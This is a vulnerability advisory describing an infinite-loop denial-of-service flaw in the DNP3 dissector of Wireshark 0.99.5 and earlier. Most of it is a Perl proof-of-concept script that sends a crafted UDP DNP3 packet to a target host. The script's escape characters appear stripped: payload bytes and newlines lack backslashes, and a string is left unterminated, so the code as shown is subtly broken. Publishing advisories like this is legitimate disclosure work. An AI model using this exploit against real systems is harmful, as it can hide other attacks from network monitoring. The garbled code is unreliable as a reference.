Advisory Text :  

A vulnerability in Wireshark's DNP3 dissector allows attackers to cause
it
to enter an infinite loop which in turn can be used to mask other types
of
attacks from being captured by Wireshark.

DETAILS

Vulnerable Systems:
* Wireshark version 0.99.5 and prior

Immune Systems:
* Wireshark version 0.99.6 and newer

A vulnerability in the way Wireshark handles DNP3 data allows an
attacker
to fool the dissector into thinking a negative value of items has been
provided to it as part of the Application Layer's request to read/write

objects. This in turn causes the loop found in the code:
for (temp16 = 0; temp16 < num_items; temp16++)
{

To enter into an infinite loop as the temp16 parameter is defined as an

unsigned int of a length of 16 bits while the num_items is defined as an

unsigned int of a length of 32 bits - which in turn means than a
negative
value will be casted into a larger than 16 bits value - as the temp16
will
not be able to reach the value stored in the num_items parameter.

Proof of Concept:
The vulnerability can be recreated by either using
beSTORM (http://www.beyondsecurity.com/bestorm_overview.html) with the
DNP3 protocol fuzzer and monitoring the traffic generated with Wireshark

or by launching the following exploit code:
#!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = &abort;

my $host = '192.168.4.52';
my $port = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", %opt );

if (defined $opt{h}) {
usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
"xC3xC0x01x01x00x01x07x08x01x02x03x04x05x06x07x08},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!nn";

print "connected to: $host:$portn";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]n";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason:

$!n";
}
}

#3. Close connection
close ($sock);

#The end

sub receive
{
my $sock = shift;
my $timeout = shift;

my $tmpbuf;
my $buf = "";

while(1)
{ # Example from perldoc -f alarm
eval {
local $SIG{ALRM} = sub { die "timeoutn" };
alarm $timeout;

my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 )
{ #EOF
die "timeoutn";
}

alarm 0;
$buf .= $tmpbuf;
};
if ($@) { #time out
if($@ eq "timeoutn")
{
last;
}
else {
die "receive abortedn";
}
}
} #while
return $buf;
}

sub abort
{
print "aborting...n";
if ($sock)
{
close $sock;
}
die "User aborted operationn";
}
sub usage
{
print "usage: $0 [-hHPt]n";
print "-ht: this help messagen";
print "-Ht: override default host - $hostn";
print "-Pt: override default port - $portn";
print "-tt: set socket timeout in secondsn";
exit 0;
}

ADDITIONAL INFORMATION

The information has been provided by beSTORM.
More information can be found at:
<http://www.beyondsecurity.com/bestorm_overview.html>
http://www.beyondsecurity.com/bestorm_overview.html

--
Regards,
Aviram Jenik
Beyond Security

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

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